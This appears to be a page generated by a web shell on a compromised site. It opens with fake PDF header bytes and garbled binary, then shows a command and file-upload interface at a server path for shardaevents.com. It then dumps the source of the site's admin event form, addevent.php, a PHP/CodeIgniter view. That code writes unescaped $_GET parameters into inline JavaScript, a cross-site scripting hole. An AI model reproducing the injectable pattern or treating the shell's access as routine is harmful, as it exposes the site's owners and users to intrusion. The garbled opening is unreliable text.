%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/www.shardaevents.com/application/views/admin/events/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/www.shardaevents.com/application/views/admin/events/addevent.php
<div id="content-wrapper">
  <div class="container-fluid">
     <!-- Breadcrumbs-->
	  <ol class="breadcrumb">
		 <li class="breadcrumb-item">
              <a href="<?php echo site_url('admin/dashboard'); ?>"><i class="fas fa-fw fa-tachometer-alt"></i> Dashboard</a>
         </li>
		<li class="breadcrumb-item">
		  <a href="<?php echo site_url('admin/events'); ?>"> Events</a>
		</li>
		<li class="breadcrumb-item active"><?php if($sd['id']>0) { echo 'Edit'; } else { echo 'Add New'; }?> Event</li>
	  </ol>
	  <!-- Page Content -->
	  <form method="post" action="<?=base_url('admin/events/addevent')?>" enctype="multipart/form-data" class="form1">
	  <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3><i class="fa fa-plus-circle" aria-hidden="true"></i> <?php if($sd['id']>0) { echo 'Edit'; } else { echo 'Add New'; }?> Event</h3></div>
		</div>
		 <!---- Success Message ---->
		<?php if ($this->session->flashdata('success')) { ?>
		<p style="color:green; font-size:18px;"><?php echo $this->session->flashdata('success'); ?></p>
		<?php } ?>
		
		<!---- Error Message ---->
		<?php if ($this->session->flashdata('error')) { ?>
		<p style="color:red; font-size:18px;"><?php echo $this->session->flashdata('error');?></p>
		<?php } ?> 
		<div class="card-body form-body form-body1">
		
			<input type="hidden" name="id" id="id" value="<?=$sd['id']?>" />
			<input type="hidden" name="time_zone" id="time_zone" value="Asia/Kolkata" />
				<div class="form-group">
				  <div class="form-row">
					<div class="col-md-12">
						<label>Title of the Event:<span style="color:red;">*</span></label>
						<div class="form-label-group">
						<input type="text" name="event_title" id="event_title" value="<?=$sd['event_title']?>" placeholder="Enter title here" class="form-control"  required />
						<?php echo form_error('event_title',"<div style='color:red'>","</div>");?>
						</div>
					</div>
				  </div>
				</div>
				<?php 
				$role_id = $this->session->userdata('role_id');
				if($role_id!='1'){
						$readonly = 'readonly';
				}
				?>
				<div class="form-group">
				  <div class="form-row">
					<div class="col-md-12">
						<label>Ezone Id:<span style="color:red;">*</span></label>
						<div class="form-label-group">
						<?php if($sd['ezone_id']!='') { ?>
						<input type="text" name="ezone_id" id="ezone_id" value="<?=$sd['ezone_id']?>" placeholder="Enter Ezone Id" class="form-control" <?=$readonly?> />
						<?php } else { ?>
						<input type="text" name="ezone_id" id="ezone_id" value="<?=$sd['ezone_id']?>" placeholder="Enter Ezone Id" class="form-control" required />
						<?php echo form_error('ezone_id',"<div style='color:red'>","</div>");?>
						<?php } ?>
						</div>
					</div>
					
					<div class="col-md-12">
						<label>Slug of the Event:</label>
						<div class="form-label-group">
						<?php 
						$event_title = allletters_lowercase($sd['event_title']);
						$event_slug = $sd['event_slug']<>'' ? $sd['event_slug']:$event_title; 
						$role_id = $this->session->userdata('role_id');
						$required = 'readonly';
						if($sd['event_slug']) { $required = '';}
						?>
						<input type="text" name="event_slug" id="event_slug" value="<?=$event_slug?>" placeholder="Enter Slug" class="form-control" required  <?=$required?> />
						<?php echo form_error('event_slug',"<div style='color:red'>","</div>");?>
						</div>
					</div>
				  </div>
				</div>
				
			<script>
			var hidden = document.getElementById("id").value;
			if(hidden==''){
				var slug = document.getElementById("event_title");
				slug.addEventListener("blur", myBlurFunction, true);
			}
			function myBlurFunction() {
				let event_title = document.getElementById('event_title').value;
					$.ajax({
						type: "POST",
						url: "<?php echo base_url('admin/events/ajaxgetCountblog');?>",
						data: { event_title },
						cache: false,
					   success: function (data) {
						   
						   let result_blog_titless = event_title.replace(/[^a-z0-9\s]/gi, '').replace(/[_\s]/g, '-').toLowerCase();
						   
							/*let result_blog_title = event_title.replace(/\s+/g, '-')
							let result_blog_titles = result_blog_title.replace(/\'+/g, '-').toLowerCase();
							let result_blog_oldtitless = result_blog_titles.replace(/\"+/g, '-').toLowerCase();
							let result_blog_titless = result_blog_titles.replace(/[^a-z0-9\s]/g, '-').toLowerCase();*/
							if(data==0){
								let rest_result = result_blog_titless;
								console.log(rest_result);
								document.getElementById("event_slug").value = rest_result ;
							}else{
								let rest_result = result_blog_titless.concat('-',data);
								console.log(rest_result);
								document.getElementById("event_slug").value = rest_result ;
							}
							
						},
						error: function (error) {
							console.log(error);
						}
					});
			}
		</script>
		    </div>
		</div>
        
	  <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3> Event Date and Time<span style="color:red;">*</span></h3></div>
		</div>
		<div class="card-body form-body form-body1">
 			 <div class="row">
					<div class="col-md-12">
                     <div class="form-group">
						<div class="lables">
							<label><input type="radio" id="all_day_event" name="all_day_event" value="1" <?php if($dateArray['all_day_event']=='1') { echo 'checked'; }?> onclick="valueChanged('1')"  />
							All Day Event</label>
						</div>
						<div class="lables">
							<label><input type="radio" id="all_day_event" value="2" <?php if($dateArray['all_day_event']=='2') { echo 'checked'; }?> name="all_day_event" onclick="valueChanged('2')" <?php if($dateArray['all_day_event']=='') {  ?> checked <?php } ?> />
							No End Date & Time</label>
						</div>
                        <div class="clearfix"></div>
                        </div>
 					</div>
					<?php 
					$minDate = "''";
					if($this->session->userdata('adid')->role_id>1) { $minDate = "new Date"; ; }?>
					<div class="col-md-6">
                    <div class="form-group">
 					   <label>Start date : <span style="color:red;">*</span></label>
						<div class="form-label-group">
							<input placeholder="Select date" type="text" id="start_date" value="<?=$dateArray["start_date"]?>" name="start_date" autocomplete=OFF class="form-control" required>
							<script type="text/javascript">
							$(function () {
								$('#start_date').datepicker({
								dateFormat: 'yy/mm/dd',
								minDate: <?=$minDate?>,
								defaultDate: '<?=$_GET["start_date"]?>'
								});                     
							});
							</script>
 					</div>	
                    </div>
                    </div>
					
					<div class="col-md-6">
                    <div class="form-group" id="nstart_time">
 					   <label>Start time:</label>
						<div class="form-label-group">
							<input placeholder="Select date" type="text" id="start_time" value="<?=$dateArray["start_time"]!='' ? $dateArray["start_time"] : ''?>" name="start_time" autocomplete=OFF class="form-control" >
							<script type="text/javascript">
							$('#start_time').timepicker({
								timeFormat: 'h:mm p',
								interval:15,
								minTime: '00:00',
								maxTime: '11:45pm',
								defaultTime: '',
								startTime: '5:00',
								dynamic: false,
								dropdown: true,
								scrollbar: true
							});
							</script>
 					</div>	
                    </div>
                    </div>
					
					<div class="col-md-6 no_end_time" >
					<div class="form-group" id="nend_date" <?php if($dateArray['all_day_event']=='1') { echo ''; } else { ?> style="display:none;" <?php } ?>>
 					   <label>End date :</label>
							<div class="form-label-group">
								<input placeholder="Select date" type="text" id="end_date" value="<?=$dateArray["end_date"]?>" name="end_date" autocomplete=OFF class="form-control" <?php if($dateArray['all_day_event']=='1') { echo 'required'; } ?>>
								<script type="text/javascript">
								$(function () {
									$('#end_date').datepicker({
									dateFormat: 'yy/mm/dd',
									minDate: <?=$minDate?>,
									defaultDate: '<?=$_GET["end_date"]?>'
									});                     
								});
								</script>
 					</div>
                    </div>
                    </div>
					
					<div class="col-md-6">
                    <div class="form-group nend_time" <?php if($dateArray['all_day_event']=='1') { echo ''; } else { ?> style="display:none;" <?php } ?>>
                    <div id="nend_time" <?php if($dateArray['no_end_time']!='1') { echo ''; } else { ?> style="display:none;" <?php } ?>>
 					   <label>End Time :</label>
							<div class="form-label-group">
								<input placeholder="Select date" type="text" id="end_time" value="<?=$dateArray["end_time"]?>" name="end_time" autocomplete=OFF class="form-control" <?php if($dateArray['all_day_event']=='1') { echo 'required'; } ?>>
								<script type="text/javascript">
								$('#end_time').timepicker({
								timeFormat: 'h:mm p',
								interval:15,
								minTime: '00:00',
								maxTime: '11:45pm',
								defaultTime: '',
								startTime: '8:30',
								dynamic: false,
								dropdown: true,
								scrollbar: true
								});
								</script>
								
 					</div>
				</div>					
                    </div>
                    </div>
					
                    </div>
 			</div>
         </div>
		  <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3> 17 Sustainable Development Goals (SDGs):</h3></div>
		</div>
		<?php $sdgsArray = @explode(',',$sd['sdgs']); ?>
		<div class="card-body form-body form-body1">
 			 <div class="row">
					<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="No poverty (SDG 1)" <?php if(in_array('No poverty (SDG 1)',$sdgsArray)){ echo 'checked'; } ?>/> No poverty (SDG 1)
					</div>
					<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Zero hunger (SDG 2)" <?php if(in_array('Zero hunger (SDG 2)',$sdgsArray)){ echo 'checked'; } ?>/> Zero hunger (SDG 2)
					</div>
					<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Good health and well-being (SDG 3)" <?php if(in_array('Good health and well-being (SDG 3)',$sdgsArray)){ echo 'checked'; } ?>/> Good health and well-being (SDG 3)
					</div>
					<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Quality education (SDG 4)" <?php if(in_array('Quality education (SDG 4',$sdgsArray)){ echo 'checked'; } ?>/> Quality education (SDG 4)
					</div>
					
					<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Gender equality (SDG 5)" <?php if(in_array('Gender equality (SDG 5)',$sdgsArray)){ echo 'checked'; } ?>/>Gender equality (SDG 5)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Clean water and sanitation (SDG 6)" <?php if(in_array('Clean water and sanitation (SDG 6)',$sdgsArray)){ echo 'checked'; } ?>/>Clean water and sanitation (SDG 6)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Affordable and clean energy (SDG 7)" <?php if(in_array('Affordable and clean energy (SDG 7)',$sdgsArray)){ echo 'checked'; } ?> />Affordable and clean energy (SDG 7)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Decent work and economic growth (SDG 8)" <?php if(in_array('Decent work and economic growth (SDG 8)',$sdgsArray)){ echo 'checked'; } ?>/>Decent work and economic growth (SDG 8)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Industry, innovation and infrastructure (SDG 9)" <?php if(in_array('Industry, innovation and infrastructure (SDG 9)',$sdgsArray)){ echo 'checked'; } ?>/><span style="font-size:11px;">Industry, innovation and infrastructure (SDG 9)</span></div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Reduced inequalities (SDG 10)" <?php if(in_array('Reduced inequalities (SDG 10)',$sdgsArray)){ echo 'checked'; } ?>/>Reduced inequalities (SDG 10)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Sustainable cities and communities (SDG 11)" <?php if(in_array('Sustainable cities and communities (SDG 11)',$sdgsArray)){ echo 'checked'; } ?>/>Sustainable cities and communities (SDG 11)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Responsible consumption and production (SDG 12)" <?php if(in_array('Responsible consumption and production (SDG 12)',$sdgsArray)){ echo 'checked'; } ?> /><span style="font-size:11px;">Responsible consumption and production (SDG 12)</span></div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Climate action (SDG 13)"  <?php if(in_array('Climate action (SDG 13)',$sdgsArray)){ echo 'checked'; } ?> />Climate action (SDG 13)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Life below water (SDG 14)" <?php if(in_array('Life below water (SDG 14)',$sdgsArray)){ echo 'checked'; } ?> />Life below water (SDG 14)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Life on land (SDG 15)" <?php if(in_array('Life on land (SDG 15)',$sdgsArray)){ echo 'checked'; } ?> />Life on land (SDG 15)</div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Peace, justice, and strong institutions (SDG 16)" <?php if(in_array('Peace, justice, and strong institutions (SDG 16)',$sdgsArray)){ echo 'checked'; } ?> /><span style="font-size:11px;">Peace, justice, and strong institutions (SDG 16)</span></div>
<div class="col-md-3">
					<input type="checkbox" name="sdgs[]" value="Partnerships for the goals (SDG 17)" <?php if(in_array('Partnerships for the goals (SDG 17)',$sdgsArray)){ echo 'checked'; } ?> />Partnerships for the goals (SDG 17)</div>

			</div>
		</div>
		</div>
		    <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3> Event Location Details<span style="color:red;">*</span></h3></div>
		</div>
		<div class="card-body form-body form-body1">
        
			
			   <div class="row">
				   
									
					<div class="col-md-6">
                     <div class="form-group">
					   <label>Venue Name:<span style="color:red;">*</span></label>
						<div class="form-label-group">
							<input placeholder="Enter Venue" type="text" id="venue_name" value="<?=$locationArray["venue_name"]?>" name="venue_name" autocomplete=OFF class="form-control" required>
							<?php echo form_error('venue_name',"<div style='color:red'>","</div>");?>	
						</div>
                        </div>
					</div>	
						
					<div class="col-md-6">
                     <div class="form-group">
					   <label>Address:<span style="color:red;">*</span></label>
						<div class="form-label-group">
							<input placeholder="Enter Address" type="text" id="address" value="<?=$locationArray["address"]?>" name="address" autocomplete=OFF class="form-control" required>
							<?php echo form_error('address',"<div style='color:red'>","</div>");?>	
						</div>
                        </div>
					</div>	
					
				<div class="col-md-12">
                     <div class="form-group">
                     <div class="lables">
						<label><input type="checkbox" id="input_coordinates" value="1"<?php if($locationArray['input_coordinates']=='1') { echo 'checked'; }?> name="input_coordinates" class="form-control" onclick="validcoordinates();"/>
						Input Coordinates</label>
                        </div>
                        </div>
					</div>	
									
					<div class="col-md-6">
                     <div class="form-group" id="n_latitude" <?php if($locationArray['input_coordinates']=='1') { echo ''; } else { ?> style="display:none;" <?php } ?> >
					   <label>Latitude:</label>
						<div class="form-label-group">
							<input placeholder="Enter Latitude" type="text" id="latitude" value="<?=$locationArray["latitude"]?>" name="latitude" autocomplete=OFF class="form-control">
						</div>
                        </div>
					</div>				
					<div class="col-md-6" >
                     <div class="form-group" id="n_longitude" <?php if($locationArray['input_coordinates']=='1') { echo ''; } else { ?> style="display:none;" <?php } ?>>
					   <label>Longitude:</label>
						<div class="form-label-group">
							<input placeholder="Enter Longitude" type="text" id="longitude" value="<?=$locationArray["longitude"]?>" name="longitude" autocomplete=OFF class="form-control">
						</div>
                        </div>
					</div>
			
				</div>
			</div>	
            
            </div>
		
   <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3>Organizer Details</h3></div>
		</div>
		<div class="card-body form-body form-body1">
			
			   <div class="row">
					<div class="col-md-3">
                    <div class="form-group">
					   <label>Contact Person Name:<span style="color:red;">*</span></label>
						<div class="form-label-group">
							<input placeholder="Enter Contact Person Name" type="text" id="contact_name" value="<?=$info['contact_name']?>" name="contact_name" autocomplete=OFF class="form-control" required />
							<?php echo form_error('contact_name',"<div style='color:red'>","</div>");?>							
						</div>
                        </div>
					</div>	
					
					<div class="col-md-3">
                    <div class="form-group">
					   <label>Phone: <span style="color:red;">*</span></label>
						<div class="form-label-group">
							<input placeholder="Enter Contact Person Phone" type="text" id="phone" value="<?=$info['phone']?>" name="phone" autocomplete=OFF class="form-control" required />
							<?php echo form_error('phone',"<div style='color:red'>","</div>");?>
						</div>
                        </div>
					</div>	
					
					<div class="col-md-3">
                    <div class="form-group">
					   <label>E-mail: <span style="color:red;">*</span></label>
						<div class="form-label-group">
							<input placeholder="Enter Contact Person Email" type="text" id="email" value="<?=$info['email']?>" name="email" autocomplete=OFF class="form-control" required>
							<?php echo form_error('email',"<div style='color:red'>","</div>");?>
						</div>
                        </div>
					</div>	
						
					<div class="col-md-3">
                    <div class="form-group">
					   <label>Website URL:</label>
						<div class="form-label-group">
							<input placeholder="Enter website_url" type="text" id="website_url" value="<?=$info['website_url']?>" name="website_url" autocomplete=OFF class="form-control">
						</div>
                        </div>
					</div>	
				 </div>
              </div>
              </div>
		 <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3>Name of School/Departments:</h3></div>
		</div>
		<div class="card-body form-body form-body1">
			 
			   <div class="row">
					<div class="col-md-6">
                     <div class="form-group">
					   <label>Name of Organizing School <span style="color:red;">*</span><small>(Choose School)</small> </label>
					    
					 	<div class="form-label-group">
							<select class="form-control" name="organizing_school" id="organizing_school" required>
								<option value="">Select School</option>
								<?php foreach($schoolArray as $row) {?>
								<option value="<?=$row['id']?>" <?php if($sd['organizing_school']==$row['id']) { echo 'selected'; }?> ><?=$row['school_name']?></option>
								<?php } ?>
						    </select>
						  <?php echo form_error('organizing_school',"<div style='color:red'>","</div>");?>
						</div>
                        </div>
					</div>	
						
					<div class="col-md-6">
                    <div class="form-group">
					   <label>Name of Organizing Departments <span style="color:red;">*</span>  <small>(Choose Departments)</small></label>
					   
					 	<div class="form-label-group">
							<select class="form-control" name="organizing_departments" id="organizing_departments" required>
							<option value="">Select Departments</option>
							<?php 
							if(count($departmentArray)>0) {
							foreach($departmentArray as $row) { ?>
								<option value="<?=$row['id']?>" <?php if($sd['organizing_departments']==$row['id']) { echo 'selected'; }?>><?=$row['department_name']?></option>
							<?php } } ?>
							
						   </select>
							<?php echo form_error('organizing_departments',"<div style='color:red'>","</div>");?>
						</div>
					</div>	
                    </div>
					
						<div class="col-md-12">
                    <div class="form-group">
						<label>Type of Event: <span style="color:red;">*</span> <small>(Tick the appropriate one)</small></label>
						
							<div class="form-label-group">
							 <div class="form-row">
								<?php 
								$specArray = explode(',',@$sd['event_specifications']);
								foreach($specificationsArray as $row) { 
																	
								  ?>
									<div class="col-md-4">
										<div class="lables">
											<label><input type="checkbox" id="event_specifications<?=$row['id']?>" value="<?=$row['id']?>" name="event_specifications[]"<?php if(in_array($row['id'],$specArray)) { echo 'checked'; }?> />
											<?=$row['title']?></label>
										</div>
									</div>
 								<?php } ?>
								<div id="event_specifications_div"></div>
							</div>	
						
						  <div class="form-row any_other_events" <?php if($sd['event_others']=='') { ?>style="display:none;" <?php } ?>>
						  <label>Any Other Event Type </label> &nbsp
						   <p><input type = "textfield" name = "event_others" id ="event_others" value="<?=$sd['event_others']?>" placeholder="type here" maxlength='140' /></p>
						 
						  </div>	
							</div>	
						</div>
					</div>	
					<script>
					
					$("#event_specifications22").click(function(){
						if($(this).data('clicked', true)) {
							var event_id = $("#event_specifications22").val();
								if($("#event_specifications22").prop('checked') == true){
								   $(".any_other_events").show();
								} else {
									
									$(".any_other_events").hide();
								}
						} else {
							alert('TEst')
							$(".any_other_events").hide();
						}
					});

					</script>
                    </div>
                    </div>
                    </div>
	 <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3>Events Description<span style="color:#ff0000;">*</span><small>(Not more than <span id="charNum">500 </span> characters text)</small></h3></div>
		</div>
		<div class="card-body form-body form-body1">
			
			   <div class="row">
			    <div class="col-md-12">
                <div class="form-group">
				<div class="form-label-group">
					<textarea name="event_details" class="form-control" id="event_details_new" maxlength='500' ><?php echo $sd['event_details']; ?></textarea>
					<?php echo form_error('event_details',"<div style='color:red'>","</div>");?>
				</div>
				<script>
					$("#event_details_new").keyup(function(){
						el = $(this);
						if(el.val().length >= 500){
							el.val( el.val().substr(0, 500) );
						} else {
							$("#charNum").text(500-el.val().length);
						}
					});
				</script>
                </div>
		 
		        </div>
		      </div>
              </div>
              </div>
			  
         <div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3>Objective of events<span style="color:#ff0000;">*</span><small>(Bullet Points Only)</small></h3></div>
		</div>
		<div class="card-body form-body form-body1">
			 
			   <div class="row">
				  	
					<div class="col-md-12">
                    <div class="form-group">
					 	<div class="form-label-group">
							<textarea name="objective_of_event" class="form-control" id="objective_of_event" rows='10' col='20' ><?php echo $sd['objective_of_event']?></textarea>	
							<?php echo form_error('objective_of_event',"<div style='color:red'>","</div>");?>
						</div>
                        </div>
					</div>	
					
					<div class="col-md-12">
                    <div class="form-group">
					     <label>Convener Details <span style="color:red;">*</span>
						<small>Enter convenor details e.g. Name, Contact No. Email ID</small></label>
						<div class="form-label-group">
							<textarea name="convener_details" class="form-control" id="convener_details" rows='5' col='20' ><?php echo $sd['convener_details']?></textarea>	
							<?php echo form_error('convener_details',"<div style='color:red'>","</div>");?>
						</div>
                        </div>
                        </div>
					 
				
	
					<div class="col-md-12">
                    <div class="form-group">
					   <label>Co-Ordinator Details <span style="color:red;">*</span> <small>Enter coordinator details e.g. Name, Contact No. Email ID</small></label>  
						
						<div class="form-label-group">
							<textarea name="coordinator_details" class="form-control" id="coordinator_details" rows='5' col='20' ><?php echo $sd['coordinator_details']?></textarea>
							<?php echo form_error('coordinator_details',"<div style='color:red'>","</div>");?>							
						</div>
                        </div>
					</div>
					
						<div class="col-md-6">
                    <div class="form-group">
					   <label>Collaborative Organization <small>(i.e.Industry, Non- Government Organizations through NSS/NCC/Red cross/YRC etc)</small> </label>  
					    
						<div class="form-label-group">
							<textarea name="collaborative_organization" class="form-control" id="collaborative_organization" ><?php echo $sd['collaborative_organization']?></textarea>	
						</div>
                        </div>
					</div>
					
					<div class="col-md-6">
                    <div class="form-group">
					   <label>Chief Guest Details <small>(i.e. Mr. Ashok Kumar, +91.....)</small></label>  
						<div class="form-label-group">
							<textarea name="chief_guest_affiliation" class="form-control" id="chief_guest_affiliation" ><?php echo $sd['chief_guest_affiliation']?></textarea>	
						</div>
                        </div>
					</div>
				<div class="col-md-12">	
					<div class="sec-security">
				<label>Event Speakers Details<span style="color:red;">*</span></label>
                <a href="javascript:void(0)" class="add-icon1 float-right" onclick="addField();"><i class="fa fa-plus" aria-hidden="true"></i></a>
                
				<div class="table-responsive student-detail-table">
				<!---- Success Message ---->
				<table class="no-footer" width="100%">
                  <thead>
                    <tr>
						 
						<th scope="col" width="90%">Event Speakers Details</th>
						<th scope="col" width="10%">Action</th>
                    </tr>

                  </thead>

                  <tbody class="table2">
				  <?php 
			
				  if(!empty($sd['speakers_1'])){ $count=0;
				  $sdetail_ref = explode(';',$sd['speakers_1']);
				  $affiliationofspeakersRef = explode(',',$sd['affiliation_of_speakers']);
				  $affiliationOrganization = explode(':;',$sd['affiliation_organization']);
				  foreach($sdetail_ref as $key=>$referen){ ?>
					<tr>  
						<td>
							<input type="text" name="speakers_1[]" class="form-control" id="speakers_1<?=$count?>"  value="<?php echo $referen?>" />	
						</td>
						<td ><a href="javascript:void(0)" onclick="delField('<?= $referen->id ?>','re-icon<?=$referen->id ?>');" id="re-icon<?=$referen->id ?>" class="re-icon"><i class="fa fa-minus" aria-hidden="true"></i></a></td>
					</tr>
				  <?php $count++; } } ?>
                  </tbody>
              
                </table>
              </div>
			  <div class="speakers_10_div"></div>
          </div>
          </div>
				
			<!-- -->
			  <div class="col-md-4">
                  <div class="form-group">
					   <label>Budget of the Event <span style="color:#ff0000;">*</span> <small>Enter the proposed budget amount in rupees. eg: 10,000 rs.</small></label>  
						
						<div class="form-label-group">
								<input type="text" name="event_budget" class="form-control" id="event_budget"  value="<?php echo $sd['event_budget']?>" required />
								<?php echo form_error('event_budget',"<div style='color:red'>","</div>");?>						
						</div>
                        </div>
					</div> 
					 <div class="col-md-4">
					  <label>Pre Budget Approval <small>(Upload scan copy of the approval & File size can not be greater than 2.00 MB.)</small> </label>  
						
							<?php 
							$required_pre_budget_pdf = ''; 
							if($sd['pre_budget_pdf']<>'') {  $required_pre_budget_pdf = ''; ?>
							<p><a href="<?=base_url('attachments/files/banner_image/'.$sd['pre_budget_pdf'])?>" target="_blank"><i class="fas fa-file"></i>&nbsp;<?=$sd['pre_budget_pdf']?></a></p>
							<input type="hidden" name="old_pre_budget_pdf" value="<?=$sd['pre_budget_pdf']?>" />
							<?php } ?>	
						
							<div class="form-label-group">
								<input type="file" id="pre_budget_pdf" name="pre_budget_pdf" <?=$required_pre_budget_pdf?> />
							</div>
						</div>
							
					<div class="col-md-4">
                    <div class="form-group">
					   <label>Number of Participants <small>(i.e. 100/200/300)</small></label>  
					   
						<div class="form-label-group">
							<input type="int" name="inter_school_participants" class="form-control" id="inter_school_participants" maxlength="4" value="<?php echo $sd['inter_school_participants']?>" />	
						</div>
                        </div>
					</div>
					
					<div class="col-md-12">
                    <div class="form-group">
					   <label>Target Audiences <span style="color:red;">*</span>  <small>(Tick on Appropriate)</small> </label>
					   
						<div class="form-label-group">
						 <div class="form-row">
						<?php 
							$audArray = explode(',',@$sd['target_audiences']);
							foreach($audiencesArray as $row) { ?>
								<div class="col-md-3">
									<div class="lables">
										<label><input type="checkbox" id="target_audiences" value="<?=$row['id']?>" name="target_audiences[]"<?php if(in_array($row['id'],$audArray)) { echo 'checked'; }?>/>
										<?=$row['title']?></label>
									</div>
								</div>
							<?php } ?>
							<div class="clearfix"></div>
							<div class="col-md-12" id="target_audiences_div"></div>
						</div>
						</div>
                    </div>
 					</div>	
					
					<div class="col-md-12">
                    <div class="form-group">
					   <label>Media Coverage <span style="color:#ff0000;">*</span>   <small>Check the relevant requirements for your event. - Media coverage requirements will be catered only if event has been published on event portal 7 days prior. Failing which requirements will be treated as null and void.</small></label>
					  
					   <br/>
						<div class="form-label-group">
						 <div class="form-row">
							<?php 
							$medArray = explode(',',@$sd['media_coverage']);
							foreach($mediaArray as $row) { ?>
								<div class="col-md-3">
									<div class="lables">
										<label><input type="radio" id="media_coverage" value="<?=$row['id']?>" name="media_coverage[]"<?php if(in_array($row['id'],$medArray)) { echo 'checked'; }?>/>
										<?=$row['title']?></label>
									</div>
								</div>
							<?php } ?>
							<div class="col-md-12" id="media_coverage_div"></div>
                        	<div class="clearfix"></div>
						</div>
						</div>
                        </div>
					</div>	
			</div>
    </div>
</div>		
             
          
<div class="eventfrom">
       <div class="card mb-3 fomr-news">
			<div class="card-header card-header-new"> <h3>Uploads</h3></div>
		</div>
		
		<div class="card-body form-body form-body1">
			
			   <div class="row">
				   
 					<div class="col-md-12">
                    <div class="form-group">
					   <label>Bannner Image(If any) <small>Upload Supporting Files e.g. Images</small>	</label> 
						 
						<?php 
						$required_banner_image = ''; 
						if($sd['banner_image']<>'') { $required_banner_image = '';  ?>
						<p><a href="<?=base_url('attachments/files/banner_image/'.$sd['banner_image'])?>" target="_blank" ><i class="fas fa-file"></i>&nbsp;<?=$sd['banner_image']?></a>  <a href="javascript:void(0)" onclick ="return removeFile('<?=$sd['id']?>');"><i class="fa fa-trash" aria-hidden="true" style="color:#ff0000;"></i></a></p>
						<input type="hidden" name="old_banner_image" value="<?=$sd['banner_image']?>" />
						<?php } ?>						
						<div class="form-label-group">
							<input type="file" id="banner_image" name="banner_image" <?=$required_banner_image?> />
							<small>(Allowed Max 2 MB )</small>
						</div>
                        </div>
					</div>	
        	
				<div class="col-md-12">
                <div class="form-group">
					<label>Declaration <span style="color:#ff0000;">*</span> <small>(Tick on Appropriate)</small></label>
					
					<div class="form-label-group">
					<div class="lables">
                    <label><input type="checkbox" name="declaration" id="declaration" value="1" <?php if($sd['declaration']=='1') { echo 'checked'; }?>  />
					
					
					This is to bring to your attention that an event completion report (ECR) needs to be submitted within 7 days of the completion of the event. The reports submitted after 7 days of event completion will result in the delay of the post event budget approval. The ECR to be sent to the school level event calendar Coordinator/ SPOC for uploading on the event calendar portal. And the event convener will be responsible for uploading the ECR on E-zone under the specific criterion.</label>
                    </div>
					<div id="declaration_div"></div>
					</div>
				</div>
			  </div>
		
					<div class="col-md-6">
                    <div class="form-group">
					   <label>Status <span style="color:red;">*</span></label>
						<div class="form-label-group">
							<select class="form-control" name="status" id="status" required>
							<option value="">Select Status</option>
							<?php 
							if(count($statusArray)>0) {
							foreach($statusArray as $row) { ?>
								<option value="<?=$row['id']?>" <?php if($sd['status']==$row['id']) { echo 'selected'; }?>><?=$row['display_name']?></option>
							<?php } } ?>
							</select>
							<?php echo form_error('status',"<div style='color:red'>","</div>");?>
						</div>
					</div>
					</div>
				 </div>
				
			 
			 <?php if($sendemail['event_id']){?>
			 <div class="row">
			 <input type="hidden" name="value" value="<?php echo $sd['id']?>" />
			 <?php $id =$sd['id']; ?>
					<div class="col-md-6">
                    <div class="form-group">
						<div>
						<?php if($sendemail['event_status'] =='6' && $sendemail['role_id']=='5'){ ?>
						<?php if($this->session->userdata('adid')->role_id == '7' && $sd['verified_hod']=='0') { ?>
						<label>Send Email After Alteration <span style="color:red;">*</span></label><br/>
						<input type="checkbox" name="hod" value="1"><label>HOD</label>
						<?php } ?>
						<?php } ?>
						</div>
					    <div>
						<?php if($sendemail['event_status'] =='6' && $sendemail['role_id']=='4'){ ?>
						<?php if($this->session->userdata('adid')->role_id == '7' && $sd['verified_hod']=='1' && $sd['verified_dean']=='0') { ?>
						<label>Send Email After Alteration <span style="color:red;">*</span></label><br />
						<input type="checkbox" name="dean" value="1"><label>DEAN</label>
						<?php } ?>
						<?php } ?>
						</div>
						<div>
						<?php if($sendemail['event_status'] =='6' && $sendemail['role_id']=='3'){ ?>
						<?php if($this->session->userdata('adid')->role_id == '7' && $sd['verified_hod']=='1' && $sd['verified_dean']=='1' && $sd['verified_iqac']=='0') { ?>
